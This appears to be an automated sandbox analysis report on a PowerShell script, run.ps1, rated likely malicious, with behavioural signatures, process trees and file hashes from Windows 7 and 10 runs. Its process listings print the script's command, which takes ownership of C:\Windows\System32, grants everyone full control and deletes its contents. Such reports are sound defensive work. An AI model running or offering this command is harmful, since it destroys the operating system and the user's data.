Analysis Overview
SHA256
fb03b9687639b470d2b0ee74654906d834756888bc2e54f8e06bacfeb7eb9ab2
Threat Level: Likely malicious
The file run.ps1 was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Modifies file permissions
Command and Scripting Interpreter: PowerShell
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-06 13:27
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-06 13:27
Reported
2024-08-06 13:28
Platform
win7-20240705-en
Max time kernel
29s
Max time network
32s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1252 wrote to memory of 2752 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\cmd.exe |
| PID 1252 wrote to memory of 2752 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\cmd.exe |
| PID 1252 wrote to memory of 2752 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\cmd.exe |
| PID 2752 wrote to memory of 2572 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 2752 wrote to memory of 2572 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 2752 wrote to memory of 2572 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 2752 wrote to memory of 2836 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\icacls.exe |
| PID 2752 wrote to memory of 2836 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\icacls.exe |
| PID 2752 wrote to memory of 2836 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\icacls.exe |
Processes
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\run.ps1
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "takeown /f C:\Windows\System32\* && icacls C:\Windows\System32\* /grant Everyone:(F) && del/s/q C:\Windows\System32\*"
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\*
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\* /grant Everyone:(F)
C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
Network
Files
memory/1252-4-0x000007FEF56FE000-0x000007FEF56FF000-memory.dmp
memory/1252-5-0x000000001B5D0000-0x000000001B8B2000-memory.dmp
memory/1252-6-0x0000000001E60000-0x0000000001E68000-memory.dmp
memory/1252-7-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp
memory/1252-11-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp
memory/1252-10-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp
memory/1252-9-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp
memory/1252-8-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp
memory/1252-12-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp
memory/1252-13-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-06 13:27
Reported
2024-08-06 13:28
Platform
win10v2004-20240802-en
Max time kernel
46s
Max time network
43s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4792 wrote to memory of 5028 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\cmd.exe |
| PID 4792 wrote to memory of 5028 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\cmd.exe |
| PID 5028 wrote to memory of 948 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 5028 wrote to memory of 948 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 5028 wrote to memory of 3076 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\icacls.exe |
| PID 5028 wrote to memory of 3076 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\icacls.exe |
Processes
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\run.ps1
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "takeown /f C:\Windows\System32\* && icacls C:\Windows\System32\* /grant Everyone:(F) && del/s/q C:\Windows\System32\*"
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\*
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\* /grant Everyone:(F)
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 147.177.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 79.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
Files
memory/4792-0-0x00007FFDDAAF3000-0x00007FFDDAAF5000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aisxvhdv.qg2.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4792-10-0x00000209795F0000-0x0000020979612000-memory.dmp
memory/4792-11-0x00007FFDDAAF0000-0x00007FFDDB5B1000-memory.dmp
memory/4792-12-0x00007FFDDAAF0000-0x00007FFDDB5B1000-memory.dmp
memory/4792-13-0x00007FFDDAAF0000-0x00007FFDDB5B1000-memory.dmp
memory/4792-16-0x00007FFDDAAF0000-0x00007FFDDB5B1000-memory.dmp